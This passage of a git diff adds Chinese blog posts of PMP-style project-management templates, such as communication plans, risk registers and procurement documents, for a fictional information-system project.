需求变更在项目中对资源消耗产生了较大影响，特别是后端开发和测试阶段。建议加强需求的前期审查和沟通，避免频繁调整。 +- **提升资源调配灵活性**： + 在项目执行过程中，增加对关键模块的资源调度弹性，特别是在测试和集成阶段，确保在出现突发问题时有足够的资源进行应对。 +- **优化测试阶段的计划**： + 测试阶段出现了延长情况，未来项目应当在计划中预留更多冗余时间，以应对可能的需求变更或测试复杂度增加。 + +------ + +### **结论** + +根据本次评估，项目的资源使用总体情况良好，但存在一些局部的资源调配问题，特别是在需求变更导致的后端开发和测试延长方面。通过加强需求管理、优化资源调配和改进测试计划，可以有效提升项目资源的使用效率和整体项目进展的顺利性。 diff --git a/_posts/2024-10-08-720-cmp.md b/_posts/2024-10-08-720-cmp.md new file mode 100644 index 0000000..fd1f038 --- /dev/null +++ b/_posts/2024-10-08-720-cmp.md @@ -0,0 +1,100 @@ +--- +layout: post +title: 沟通管理计划 +pid: 720 +tags: [pmp, 高项] +--- + +沟通管理计划：Communication Management Plan + +### **沟通管理计划** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **计划编写日期**：2024年10月8日 + +#### **计划编写人**：李四（项目经理） + +------ + +### **1. 计划目的** + +本沟通管理计划旨在确保项目过程中，所有相关干系人能够及时、准确地获取与其角色和职责相关的信息，以支持项目的顺利实施。计划明确了信息的发布、传递频率、责任方及沟通方式，以确保沟通渠道畅通，避免信息缺失或延误。 + +------ + +### **2. 沟通目标** + +- 确保项目干系人及时获取与其工作相关的重要信息。 +- 确保项目团队对项目进度、风险、变更等方面保持一致理解。 +- 确保项目变更、问题等信息在不同层级和干系人之间及时沟通与反馈。 +- 促进团队内部和外部干系人之间的有效协作，支持项目的顺利执行。 + +------ + +### **3. 关键干系人** + +| 干系人 | 角色 | 主要信息需求 | 期望沟通方式 | 责任人 | +| ---------- | ---------- | -------------------------------- | ------------------------ | ------------------ | +| 项目发起人 | 项目资助者 | 项目进度、资金使用情况、重大风险 | 月度报告、例会 | 项目经理 | +| 项目经理 | 项目领导 | 所有项目相关信息 | 日常沟通、周会、电子邮件 | 自行负责 | +| 开发团队 | 执行人员 | 任务分配、技术更新、进度反馈 | 每日站会、周报 | 项目经理、技术主管 | +| 测试团队 | 执行人员 | 测试需求、测试结果、问题反馈 | 每日站会、周报 | 项目经理、测试主管 | +| 客户 | 项目用户 | 产品需求、进度、变更 | 双周例会、邮件 | 项目经理 | +| 采购团队 | 支持团队 | 采购进度、物资交付时间 | 例会、邮件 | 项目经理、采购主管 | + +------ + +### **4. 沟通需求分析** + +- **项目发起人**：重点关注项目进展、资金使用和关键风险。月度报告总结项目状况，并通过月度例会进行深入汇报。 +- **项目团队**：开发与测试团队需要每日沟通任务与进展，通过每日站会解决问题并确保任务执行一致性。 +- **客户**：需了解项目进度、功能需求落实情况，确保变更需求被及时传达和确认。通过双周例会提供进展汇报。 + +------ + +### **5. 沟通方法与频率** + +| 沟通类型 | 目标 | 频率 | 参与人员 | 沟通方式 | 责任人 | +| -------- | ------------------------------------ | ------ | -------------- | ------------------ | -------- | +| 每日站会 | 确保团队对当天任务一致理解，解决阻碍 | 每日 | 项目团队 | 现场/视频会议 | 项目经理 | +| 周报 | 汇报每周进展，跟踪任务 | 每周 | 开发、测试团队 | 电子邮件 | 项目经理 | +| 月度报告 | 汇报项目总体进展，识别风险 | 每月 | 项目发起人 | 报告文件、会议 | 项目经理 | +| 客户例会 | 了解客户需求反馈，讨论变更 | 每两周 | 客户、项目团队 | 视频会议、现场 | 项目经理 | +| 风险沟通 | 识别和处理风险，确保各方知情 | 视情况 | 项目团队 | 电子邮件、电话 | 项目经理 | +| 变更沟通 | 确保所有干系人了解变更内容 | 视情况 | 所有相关干系人 | 变更管理工具、邮件 | 项目经理 | + +------ + +### **6. 沟通技术与工具** + +- **电子邮件**：用于发送周报、月报、变更通知等信息。 +- **会议工具**：Zoom/Teams用于远程会议沟通。 +- **项目管理工具**：Jira用于跟踪任务进展、变更和风险。 +- **文档共享平台**：SharePoint或其他文档管理工具用于共享报告和重要项目文件。 + +------ + +### **7. 沟通时间表** + +| 沟通活动 | 预计时间 | +| -------- | ----------------------- | +| 每日站会 | 每日9:00 AM | +| 周报发送 | 每周五下午3:00 | +| 客户例会 | 每两周周三下午4:00 | +| 月度报告 | 每月1日发起并提交 | +| 变更沟通 | 变更确认后的24小时内 | +| 风险沟通 | 发现重大风险后的8小时内 | + +------ + +### **8. 沟通障碍与风险** + +- **沟通障碍**：团队之间的时区差异、语言障碍可能导致沟通效率低下。应确保使用统一语言，并合理安排会议时间。 +- **风险**：沟通不畅可能导致需求不明确、进度延误或干系人对项目状态误解。为此，项目团队需制定清晰的沟通流程，并定期评估沟通效果。 + +------ + +### **9. 反馈与改进** + +沟通管理计划将定期评估其有效性，根据项目的进展和干系人的反馈进行优化调整。每季度进行沟通反馈调查，并根据结果改进沟通方式和频率。 diff --git a/_posts/2024-10-08-721-pcr.md b/_posts/2024-10-08-721-pcr.md new file mode 100644 index 0000000..7da1d00 --- /dev/null +++ b/_posts/2024-10-08-721-pcr.md @@ -0,0 +1,105 @@ +--- +layout: post +title: 项目沟通记录 +pid: 721 +tags: [pmp, 高项] +--- + +项目沟通记录：Project Communication Records + +### **项目沟通记录** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **记录时间**：2024年10月8日 + +#### **记录人**：李四（项目经理） + +------ + +### **1. 沟通概述** + +- **沟通方式**：会议（视频会议） +- **日期**：2024年10月8日 +- **时间**：上午10:00 - 11:30 +- 参与人员： + - 李四（项目经理） + - 王五（开发团队负责人） + - 赵六（测试团队负责人） + - 张三（客户代表） + - 陈七（采购负责人） + +------ + +### **2. 沟通内容** + +#### **主题**：项目进度与需求更新讨论 + +##### **议题 1**：项目进度反馈 + +**讨论内容**： +李四汇报了当前项目的进度，指出开发工作已经完成70%，预计在11月底完成开发阶段。赵六确认测试工作已经开始，将与开发同步进行，确保测试覆盖所有关键功能模块。 + +**结论与决策**： + +- 开发团队将在两周内完成剩余的三个核心模块，并立即移交给测试团队进行功能验证。 +- 测试团队将在收到模块后的5天内完成初步测试，并反馈测试结果。 + +------ + +##### **议题 2**：需求变更确认 + +**讨论内容**： +张三提出了新的需求，客户希望在登录界面增加二次验证功能。王五表示该需求可通过引入现有的身份验证API解决，预计开发时间为5个工作日。 + +**结论与决策**： + +- 项目团队决定增加二次验证功能，王五将于下周一（10月15日）开始进行此需求的开发。 +- 陈七确认该API的采购不会影响项目预算，并将在下周五之前完成采购手续。 + +------ + +##### **议题 3**：风险讨论 + +**讨论内容**： +赵六提出，由于新功能的引入，测试团队的工作量可能增加，测试时间可能延长。李四建议为此增加1周的缓冲期，以防止影响项目上线时间。 + +**结论与决策**： + +- 李四批准延长1周的测试时间，项目上线日期暂定为12月15日。 +- 所有人员同意在10月20日的下一次例会上评估新功能的开发与测试进度。 + +------ + +### **3. 关键决策记录** + +| 决策内容 | 决策日期 | 责任人 | 完成期限 | +| --------------------------------------- | ------------- | ------ | -------------- | +| 完成剩余核心模块开发并交付测试 | 2024年10月8日 | 王五 | 2024年10月22日 | +| 开发二次验证功能 | 2024年10月8日 | 王五 | 2024年10月20日 | +| 采购身份验证API | 2024年10月8日 | 陈七 | 2024年10月18日 | +| 延长1周测试时间，调整上线时间至12月15日 | 2024年10月8日 | 李四 | 2024年12月15日 | + +------ + +### **4. 后续行动项** + +| 行动项 | 责任人 | 完成期限 | +| -------------------------------------------- | ------ | -------------- | +| 提交新的测试计划，包含二次验证功能的测试安排 | 赵六 | 2024年10月12日 | +| 采购身份验证API并提交给开发团队 | 陈七 | 2024年10月18日 | +| 更新项目计划，将上线日期调整为12月15日 | 李四 | 2024年10月10日 | + +------ + +### **5. 沟通结果与总结** + +此次会议达成了对新增需求的共识，调整了项目进度安排，并识别了由于新功能引入而导致的潜在风险。项目团队将根据更新后的计划继续推进，并在下周的例会上重新评估项目状态。 + +------ + +### **6. 下一次沟通时间** + +- **日期**：2024年10月20日 +- **沟通方式**：视频会议 +- **讨论内容**：二次验证功能开发进度和初步测试结果。 diff --git a/_posts/2024-10-08-722-wpd.md b/_posts/2024-10-08-722-wpd.md new file mode 100644 index 0000000..639c922 --- /dev/null +++ b/_posts/2024-10-08-722-wpd.md @@ -0,0 +1,89 @@ +--- +layout: post +title: 工作绩效数据 +pid: 722 +tags: [pmp, 高项] +--- + +工作绩效数据：Work Performance Data + +### **工作绩效数据** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **数据收集日期**：2024年10月15日 + +#### **记录人**：王五（开发团队负责人） + +------ + +### **1. 项目进度数据** + +- **计划完成工作**： + - 核心模块 A、B、C 已按计划完成开发，预计于2024年10月22日完成核心模块 D、E 的开发。 +- **实际完成工作**： + - 核心模块 A、B、C 开发完成；模块 D 的开发已完成50%；模块 E 预计晚于计划两天完成。 +- **进度偏差**： + - 模块 E 开发滞后，预计影响2天的整体开发进度。 + +------ + +### **2. 成本数据** + +- **预算成本（BCWS）**： + - 截至2024年10月15日，项目预算成本为50万元。 +- **实际成本（ACWP）**： + - 截至2024年10月15日，项目实际成本为52万元，成本超出预算4%。 +- **成本偏差**： + - 当前成本偏差为 +2万元（超出预算4%），原因主要是新需求（增加二次验证功能）引入，增加了开发时间和资源消耗。 + +------ + +### **3. 资源数据** + +- **计划使用的资源**： + - 开发团队5人，测试团队2人。 +- **实际使用的资源**： + - 开发团队已投入6人，其中1人专门处理二次验证功能开发。测试团队尚未全员投入，预计将在10月22日后全面参与。 +- **资源偏差**： + - 开发团队增加了1人，用于加快二次验证功能的开发，以弥补开发延迟。 + +------ + +### **4. 质量数据** + +- **测试覆盖率**： + - 测试覆盖率达到60%，已完成核心模块 A、B、C 的初步测试。 +- **测试缺陷率**： + - 已发现的缺陷数量为15个，主要集中在模块 A 和 B 的边界测试。 + +------ + +### **5. 沟通数据** + +- **计划会议次数**： + - 计划每周例会一次，特殊需求变化时追加紧急会议。 +- **实际会议次数**： + - 截至10月15日，共召开3次例会，1次特殊会议处理新需求讨论（10月8日）。 +- **沟通偏差**： + - 例会次数符合计划，实际增加的沟通频率确保了需求变更的及时反馈和调整。 + +------ + +### **6. 关键里程碑** + +- **计划里程碑**： + - 核心模块开发完成（2024年10月22日） + - 二次验证功能开发完成（2024年10月20日） + - 测试阶段启动（2024年10月22日） +- **实际里程碑进展**： + - 核心模块开发预计晚于计划2天完成；二次验证功能开发按时进行。 + +------ + +### **7. 风险数据** + +- **识别的风险**： + - 新需求增加后，测试团队的时间压力增大，可能影响测试阶段进度。 +- **风险应对措施**： + - 项目经理已批准延长测试阶段1周，以确保测试覆盖新功能并修复所有缺陷。 diff --git a/_posts/2024-10-08-723-wpi.md b/_posts/2024-10-08-723-wpi.md new file mode 100644 index 0000000..0fa606a --- /dev/null +++ b/_posts/2024-10-08-723-wpi.md @@ -0,0 +1,66 @@ +--- +layout: post +title: 工作绩效信息 +pid: 723 +tags: [pmp, 高项] +--- + +工作绩效信息：Work Performance Information + +### **工作绩效信息** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **信息收集日期**：2024年10月15日 + +#### **记录人**：王五（项目经理） + +------ + +### **1. 沟通效果** + +- **沟通频率**： + - 计划：每周例会1次 + - 实际：截至2024年10月15日，已召开例会3次，特别会议1次。 + - 结果：与计划一致，沟通频率满足项目需求。 +- **信息传达的及时性**： + - 所有关键变更通知（例如新需求）已在发生后48小时内传达给相关干系人，确保项目团队始终保持信息同步。 + +### **2. 沟通渠道** + +- **主要沟通工具**： + - 使用了Slack进行日常沟通和快速问题解决。 + - 项目管理工具（如Jira）用于任务分配和进度跟踪。 +- **沟通渠道效果**： + - Slack的使用提高了团队成员间的即时反馈，减少了电子邮件的使用。 + - Jira有效追踪任务进度和问题，确保所有干系人都能实时了解项目状态。 + +### **3. 沟通质量** + +- **会议效果评估**： + - 每次例会后进行简短的反馈收集，结果显示90%的参与者对会议的有效性表示满意。 + - 特殊会议讨论新需求时，所有干系人对新方案的理解度为100%。 +- **信息完整性**： + - 会议纪要和关键决策已及时记录并分发，确保所有团队成员对项目方向保持一致。 + - 使用模板确保所有信息在同一标准下记录。 + +### **4. 沟通问题及解决措施** + +- **识别问题**： + - 在早期会议中，部分团队成员未能及时获取最新文档，导致工作重复。 +- **解决措施**： + - 引入文档管理系统，确保所有文档都能实时更新并方便访问。 + - 每周发送一次项目进展摘要，确保所有干系人都能接收到最新的信息。 + +### **5. 关键沟通成果** + +- **信息共享**： + - 形成了团队知识库，存储项目相关的所有文档、会议纪要、决策记录等，以便团队成员随时查阅。 +- **团队协作**： + - 沟通效果改善后，团队成员之间的协作效率提高了30%，问题解决的响应时间缩短至平均2小时内。 + +### **6. 改进建议** + +- 未来改进方向： + - 在例会中增加时间段以便成员分享各自的挑战和问题，促进团队之间的互动与支持。 + - 考虑使用视频会议工具，以增强虚拟会议的互动性，特别是在远程工作环境中。 diff --git a/_posts/2024-10-08-724-rmp.md b/_posts/2024-10-08-724-rmp.md new file mode 100644 index 0000000..509659e --- /dev/null +++ b/_posts/2024-10-08-724-rmp.md @@ -0,0 +1,89 @@ +--- +layout: post +title: 风险管理计划 +pid: 724 +tags: [pmp, 高项] +--- + +风险管理计划：Risk Management Plan + +### **风险管理计划** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **项目经理**：王五 + +#### **风险管理计划制定日期**：2024年10月15日 + +#### **版本**：1.0 + +------ + +### **1. 目的** + +本风险管理计划的目的是识别、分析和应对项目中的潜在风险，以最大程度地减少其对项目目标的负面影响，确保项目的顺利推进和成功交付。 + +### **2. 风险管理方法论** + +- 风险管理框架： + - 采用PMBOK（项目管理知识体系）中的风险管理流程，包括识别、定性分析、定量分析、应对和监控风险。 +- 风险管理工具： + - 风险登记册、风险矩阵、风险应对计划等。 + +### **3. 风险识别** + +- **风险识别方法**： + - 头脑风暴：召开团队会议，收集各方意见。 + - 文档审查：分析项目相关文档，识别潜在风险。 + - 经验教训：参考以往项目中发现的风险。 +- **识别的主要风险类别**： + - 技术风险：软件开发中的技术缺陷或不兼容性。 + - 项目管理风险：进度延误、资源短缺。 + - 组织风险：团队成员变动、沟通不畅。 + - 外部风险：供应商延迟、法规变更。 + +### **4. 风险评估** + +- 定性评估： + - 对识别的风险进行概率和影响评分（1-5），并使用风险矩阵进行优先级排序。 + +| 风险描述 | 概率（1-5） | 影响（1-5） | 风险等级（概率×影响） | +| -------------- | ----------- | ----------- | --------------------- | +| 技术不兼容 | 3 | 4 | 12 | +| 项目进度延误 | 4 | 5 | 20 | +| 关键人员离职 | 2 | 4 | 8 | +| 供应商交付延迟 | 3 | 5 | 15 | + +- 定量评估： + - 对于高风险项目，使用统计方法进行成本和时间的定量分析，确定风险对项目的财务和时间影响。 + +### **5. 风险应对计划** + +- 应对策略： + - 技术不兼容：提前进行技术验证和原型开发，选择成熟的技术方案。 + - 项目进度延误：设定缓冲时间，定期审查进度，并与团队保持透明沟通。 + - 关键人员离职：制定人才储备计划，进行知识传承。 + - 供应商交付延迟：与多家供应商建立合作关系，降低依赖性。 + +### **6. 风险监控** + +- 监控方法： + - 定期更新风险登记册，每月评估风险状态和应对措施的有效性。 + - 在团队会议中讨论风险状况，并根据项目进展调整应对计划。 + +### **7. 风险沟通** + +- 沟通计划： + - 设定风险报告频率：每月提交风险报告给项目干系人。 + - 重要风险在每次例会上进行讨论，确保团队成员对风险管理保持关注。 + +### **8. 风险管理角色与职责** + +- **项目经理**：负责整体风险管理，监督风险识别和评估过程。 +- **团队成员**：参与风险识别和评估，实施风险应对措施。 +- **干系人**：提供支持和资源，参与重大风险的决策。 + +### **9. 附录** + +- **风险登记册模板**：附在本计划末尾。 +- **风险管理相关工具和文档链接**：包括风险矩阵、应对计划等。 diff --git a/_posts/2024-10-08-725-rr.md b/_posts/2024-10-08-725-rr.md new file mode 100644 index 0000000..bca190d --- /dev/null +++ b/_posts/2024-10-08-725-rr.md @@ -0,0 +1,43 @@ +--- +layout: post +title: 风险登记册 +pid: 725 +tags: [pmp, 高项] +--- + +风险登记册：Risk Register + +### **风险登记册** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **项目经理**：王五 + +#### **版本**：1.0 + +#### **更新日期**：2024年10月15日 + +------ + +| 风险编号 | 风险描述 | 风险类别 | 概率（1-5） | 影响（1-5） | 风险等级（概率×影响） | 应对策略 | 负责人 | 状态 | 最后更新日期 | +| -------- | -------------- | ------------ | ----------- | ----------- | --------------------- | -------------------------- | ------ | ------ | -------------- | +| R1 | 技术不兼容 | 技术风险 | 3 | 4 | 12 | 提前进行技术验证和原型开发 | 张三 | 进行中 | 2024年10月15日 | +| R2 | 项目进度延误 | 项目管理风险 | 4 | 5 | 20 | 设定缓冲时间，定期审查进度 | 李四 | 待解决 | 2024年10月15日 | +| R3 | 关键人员离职 | 组织风险 | 2 | 4 | 8 | 制定人才储备计划 | 王五 | 已缓解 | 2024年10月15日 | +| R4 | 供应商交付延迟 | 外部风险 | 3 | 5 | 15 | 与多家供应商建立合作关系 | 赵六 | 待解决 | 2024年10月15日 | +| R5 | 法规变更 | 外部风险 | 2 | 4 | 8 | 定期监测法规变化 | 陈七 | 监控中 | 2024年10月15日 | +| R6 | 成本超支 | 财务风险 | 3 | 5 | 15 | 设定预算控制和审查机制 | 李四 | 进行中 | 2024年10月15日 | +| R7 | 团队沟通不畅 | 组织风险 | 3 | 3 | 9 | 定期召开沟通会议 | 张三 | 进行中 | 2024年10月15日 | + +### **说明** + +- **风险编号**：每个风险的唯一标识符。 +- **风险描述**：对风险的简要描述。 +- **风险类别**：风险的分类（如技术风险、项目管理风险等）。 +- **概率**：风险发生的可能性，1为最低，5为最高。 +- **影响**：风险对项目的影响程度，1为最低，5为最高。 +- **风险等级**：通过概率和影响得出的风险等级（概率 × 影响）。 +- **应对策略**：针对每个风险的应对措施。 +- **负责人**：负责该风险管理的团队成员。 +- **状态**：风险当前的状态（如待解决、进行中、已缓解、监控中等）。 +- **最后更新日期**：记录最后一次更新的日期。 diff --git a/_posts/2024-10-08-726-rr.md b/_posts/2024-10-08-726-rr.md new file mode 100644 index 0000000..c21498d --- /dev/null +++ b/_posts/2024-10-08-726-rr.md @@ -0,0 +1,64 @@ +--- +layout: post +title: 风险报告 +pid: 726 +tags: [pmp, 高项] +--- + +风险报告：Risk Report + +### **风险报告** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **项目经理**：王五 + +#### **报告日期**：2024年10月15日 + +#### **报告版本**：1.0 + +------ + +#### **1. 风险概述** + +本报告总结了XYZ信息系统开发项目中的主要风险，并提供当前状态、应对措施及后续计划，以确保项目顺利进行。项目团队已识别出7个关键风险，涵盖技术、组织、外部及财务方面。 + +------ + +#### **2. 风险摘要** + +| 风险编号 | 风险描述 | 风险等级 | 负责人 | 当前状态 | 应对措施 | +| -------- | -------------- | -------- | ------ | -------- | -------------------------- | +| R1 | 技术不兼容 | 12 | 张三 | 进行中 | 提前进行技术验证和原型开发 | +| R2 | 项目进度延误 | 20 | 李四 | 待解决 | 设定缓冲时间，定期审查进度 | +| R3 | 关键人员离职 | 8 | 王五 | 已缓解 | 制定人才储备计划 | +| R4 | 供应商交付延迟 | 15 | 赵六 | 待解决 | 与多家供应商建立合作关系 | +| R5 | 法规变更 | 8 | 陈七 | 监控中 | 定期监测法规变化 | +| R6 | 成本超支 | 15 | 李四 | 进行中 | 设定预算控制和审查机制 | +| R7 | 团队沟通不畅 | 9 | 张三 | 进行中 | 定期召开沟通会议 | + +------ + +#### **3. 风险分析与评估** + +- **技术不兼容**：该风险已被评估为中等水平，团队正在进行技术验证，以确保系统各部分能正常工作。当前状态为进行中，预计将于2024年11月完成验证。 +- **项目进度延误**：此风险被评估为高风险（等级20）。团队计划设定缓冲时间并进行频繁的进度审查。预计在下一次项目审查会议上进行详细讨论。 +- **关键人员离职**：此风险已成功缓解，团队已制定了人才储备计划，并与潜在替代者保持联系。 +- **供应商交付延迟**：该风险仍在监控中。团队计划与多个供应商建立关系，以减少依赖。 +- **法规变更**：此风险正在监控中，团队将定期检查法规的变化以适应新的要求。 +- **成本超支**：该风险正在处理，团队已采取预算控制措施，并将在下个月的财务审查中跟踪进展。 +- **团队沟通不畅**：此风险的应对措施包括定期召开沟通会议，确保团队信息畅通。 + +------ + +#### **4. 后续计划** + +- 定期审查和更新风险登记册，确保风险信息的准确性。 +- 在每次项目状态会议上讨论风险管理措施的有效性。 +- 对于尚未解决的高风险，制定详细的应对计划，并指定责任人跟进。 + +------ + +#### **5. 结论** + +通过对风险的识别和监控，项目团队正积极管理风险以降低对项目目标的影响。持续的沟通与监测是确保项目顺利进行的重要措施。项目团队将继续努力，确保识别和解决所有潜在风险。 diff --git a/_posts/2024-10-08-727-pmp.md b/_posts/2024-10-08-727-pmp.md new file mode 100644 index 0000000..6ea0de0 --- /dev/null +++ b/_posts/2024-10-08-727-pmp.md @@ -0,0 +1,87 @@ +--- +layout: post +title: 采购管理计划 +pid: 727 +tags: [pmp, 高项] +--- + +采购管理计划：Procurement Management Plan + +### **采购管理计划** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **项目经理**：王五 + +#### **版本号**：1.0 + +#### **计划起草日期**：2024年10月15日 + +------ + +#### **1. 采购管理计划概述** + +本采购管理计划的目的是明确项目在采购过程中所需的所有资源，包括设备、软件、服务及其他相关产品。通过制定有效的采购策略和流程，确保项目按时、按预算完成。 + +------ + +#### **2. 采购需求** + +| 采购项 | 描述 | 采购数量 | 预算金额（人民币） | +| ------------ | --------------------------- | -------- | ------------------ | +| 服务器 | 用于项目应用的高性能服务器 | 5台 | 150,000 | +| 开发工具 | 包含IDE和其他开发软件许可证 | 10套 | 50,000 | +| 测试设备 | 硬件及软件测试工具 | 3套 | 30,000 | +| 培训服务 | 针对新系统的用户培训 | 1次 | 20,000 | +| 外包开发服务 | 外部团队参与的模块开发 | 1项 | 100,000 | + +------ + +#### **3. 采购策略** + +- **集中采购**：所有采购活动由项目经理统一管理，确保采购标准化和集中控制。 +- **选择合格供应商**：通过资格审查、比价及面试，确保选定的供应商具备必要的能力和信誉。 +- **合同管理**：所有采购都需签订书面合同，明确交付时间、质量标准、付款条件及违约责任。 +- **风险控制**：为每个采购项设定风险控制措施，包括供应商备选方案、采购合同条款及质量验收标准。 + +------ + +#### **4. 采购流程** + +1. **需求确认**：与项目团队沟通，确认采购需求。 +2. **市场调研**：研究市场，了解可供产品和服务的价格和供应商信息。 +3. 选择供应商： + - 发布采购招标文件 + - 收集和评估供应商报价 + - 选择最合适的供应商并进行谈判 +4. **合同签署**：与选定供应商签署合同。 +5. **交付与验收**：供应商按合同条款交付货物或服务，项目团队进行验收。 +6. **支付**：根据合同规定向供应商支付款项。 + +------ + +#### **5. 采购监控与评估** + +- 定期检查采购进度，确保按时交付。 +- 在项目进度会议上回顾采购状态，识别并解决潜在问题。 +- 采购结束后，对供应商进行评估，收集反馈以优化未来采购流程。 + +------ + +#### **6. 变更管理** + +- 所有采购变更须经过项目经理审批，确保变更不会影响项目整体进度和预算。 +- 变更记录应详细记录，包括变更原因、影响评估及变更后的采购计划。 + +------ + +#### **7. 预算控制** + +- 每项采购都需在预算范围内进行，超预算的采购需获得项目经理的特别批准。 +- 项目团队应每月审查采购预算执行情况，并及时调整采购计划。 + +------ + +#### **8. 结论** + +本采购管理计划为XYZ信息系统开发项目提供了详细的采购策略和执行框架，以确保采购活动高效、有序进行。通过严格的供应商管理、流程控制及预算监控，项目团队将能够顺利实现采购目标，为项目的成功奠定基础。 diff --git a/_posts/2024-10-08-728-ps.md b/_posts/2024-10-08-728-ps.md new file mode 100644 index 0000000..9b396a2 --- /dev/null +++ b/_posts/2024-10-08-728-ps.md @@ -0,0 +1,82 @@ +--- +layout: post +title: 采购策略 +pid: 728 +tags: [pmp, 高项] +--- + +采购策略：Procurement Strategy + +### **采购策略** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **项目经理**：王五 + +#### **版本号**：1.0 + +#### **计划起草日期**：2024年10月15日 + +------ + +#### **1. 采购策略概述** + +采购策略是指在项目执行过程中，为满足项目需求而制定的一系列计划和方法，旨在确保采购活动高效、经济、合规。通过合理的采购策略，可以有效控制成本、提高采购质量，降低风险。 + +------ + +#### **2. 采购策略目标** + +- **成本效益**：确保采购活动在预算范围内，以最低的成本获取最高的价值。 +- **质量控制**：通过选择优质供应商，确保采购的产品和服务符合项目标准。 +- **及时交付**：制定明确的交付时间表，确保采购产品和服务按时到位，支持项目进度。 +- **风险管理**：识别潜在风险并制定应对措施，确保采购过程的稳定性和可靠性。 +- **合规性**：遵循相关法律法规和公司政策，确保所有采购活动合规进行。 + +------ + +#### **3. 采购方式** + +- **公开招标**：对于大宗采购或重要设备，采用公开招标的方式，广泛邀请合格供应商参与竞争，以获取最佳报价和服务。 +- **直接采购**：对于小额采购或特定需求，可以采用直接采购的方式，简化流程，提高效率。 +- **框架协议**：与经常合作的供应商签订框架协议，确保长期稳定的合作关系和优惠价格。 +- **外包采购**：对于特定技术或资源，考虑外包给专业公司，以提高项目效率和质量。 + +------ + +#### **4. 供应商选择标准** + +- **资质审核**：供应商需具备相应的资质和认证，包括行业资质、质量管理体系认证等。 +- **经验和信誉**：优先选择在相似项目中具有良好业绩和声誉的供应商。 +- **财务状况**：审查供应商的财务状况，确保其具备良好的财务能力，能够按时交付。 +- **技术能力**：评估供应商的技术水平和创新能力，确保其能满足项目需求。 + +------ + +#### **5. 采购风险管理** + +- **风险识别**：识别采购过程中可能出现的风险，如供应商违约、市场价格波动、交付延迟等。 +- **风险评估**：对识别的风险进行评估，分析其对项目的影响程度。 +- **应对措施**：制定针对每个风险的应对措施，如建立供应商备选名单、锁定价格合同等。 + +------ + +#### **6. 采购合同管理** + +- **合同条款**：确保合同中明确规定交付时间、质量标准、付款条件、违约责任等重要条款。 +- **变更管理**：对采购合同的任何变更须进行正式记录，并确保得到所有相关方的批准。 +- **绩效评估**：定期评估供应商的交付绩效和质量表现，以为未来的采购决策提供依据。 + +------ + +#### **7. 采购监控与评估** + +- **进度监控**：对采购进度进行定期监控，确保按时完成各项采购任务。 +- **质量验收**：对到货的产品和服务进行质量验收，确保其符合合同要求。 +- **反馈机制**：建立与供应商的反馈机制，及时解决在采购过程中出现的问题。 + +------ + +#### **8. 结论** + +通过制定明确的采购策略，XYZ信息系统开发项目能够高效地满足项目需求，降低采购风险，确保项目的顺利实施。团队将持续评估和优化采购策略，以适应不断变化的市场环境和项目要求。 diff --git a/_posts/2024-10-08-729-sow.md b/_posts/2024-10-08-729-sow.md new file mode 100644 index 0000000..1774ba1 --- /dev/null +++ b/_posts/2024-10-08-729-sow.md @@ -0,0 +1,89 @@ +--- +layout: post +title: 采购工作说明书 +pid: 729 +tags: [pmp, 高项] +--- + +采购工作说明书：Statement of Work (SOW) for Procurement + +### **采购工作说明书** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **项目经理**：王五 + +#### **版本号**：1.0 + +#### **计划起草日期**：2024年10月15日 + +------ + +#### **1. 工作概述** + +本工作说明书旨在明确XYZ信息系统开发项目中采购工作的内容、目标和责任，以确保项目所需物资和服务的及时、合规、高质量采购。 + +------ + +#### **2. 工作目标** + +- 确保所有采购活动符合项目预算、质量标准和时间要求。 +- 确定合理的采购策略，选择合适的供应商。 +- 通过有效的合同管理，确保供应商按时交付所需物资和服务。 + +------ + +#### **3. 工作内容** + +1. **需求识别与分析** + - 收集项目团队对物资和服务的需求信息，形成需求清单。 + - 与项目团队沟通，明确具体的技术和功能要求。 +2. **供应商市场调研** + - 进行市场调研，识别潜在的供应商。 + - 收集供应商的资质、经验、价格、交付能力等信息。 +3. **采购策略制定** + - 根据需求特点和市场状况，制定采购策略，包括采购方式、供应商选择标准等。 +4. **供应商选择** + - 发布招标文件或采购请求，邀请合格供应商提交报价。 + - 评估供应商的报价及技术方案，选择最佳供应商。 +5. **合同谈判与签署** + - 与中标供应商进行合同条款谈判，明确价格、交付时间、质量标准等。 + - 完成合同的签署，确保合同条款的合规性和可执行性。 +6. **采购执行与监控** + - 跟踪采购进度，确保按时交付。 + - 进行定期质量检查，确保采购物资和服务的质量符合要求。 +7. **采购验收与评估** + - 对到货物资进行验收，检查其数量和质量。 + - 收集项目团队对供应商的反馈，进行绩效评估。 +8. **记录与报告** + - 维护采购文档，包括需求清单、采购合同、验收报告等。 + - 定期向项目经理报告采购进展和相关问题。 + +------ + +#### **4. 工作责任** + +- **采购经理** + - 负责整体采购工作计划的制定与执行。 + - 确保采购活动符合项目需求和预算。 +- **采购专员** + - 负责日常采购操作，包括市场调研、供应商选择、合同谈判等。 + - 协调各方资源，确保采购活动的顺利进行。 +- **项目团队成员** + - 提供项目需求信息，参与供应商评估与采购验收。 + +------ + +#### **5. 时间框架** + +- **需求识别与分析**：2024年10月16日 - 2024年10月20日 +- **供应商市场调研**：2024年10月21日 - 2024年10月25日 +- **采购策略制定**：2024年10月26日 - 2024年10月28日 +- **供应商选择与合同签署**：2024年10月29日 - 2024年11月05日 +- **采购执行与监控**：2024年11月06日 - 2025年01月05日 + +------ + +#### **6. 结论** + +通过清晰的采购工作说明书，XYZ信息系统开发项目能够有效管理采购活动，确保项目所需的资源和服务能够及时、合规地到位。这将为项目的成功实施提供坚实的保障。 diff --git a/_posts/2024-10-08-730-td.md b/_posts/2024-10-08-730-td.md new file mode 100644 index 0000000..9931489 --- /dev/null +++ b/_posts/2024-10-08-730-td.md @@ -0,0 +1,105 @@ +--- +layout: post +title: 招标文件 +pid: 730 +tags: [pmp, 高项] +--- + +招标文件：Tender Documents 或 Bidding Documents + +### **招标文件** + +#### **项目名称**：XYZ 信息系统开发项目 + +#### **招标编号**：XYZ-2024-001 + +#### **招标单位**：ABC 公司 + +#### **招标日期**：2024年10月15日 + +#### 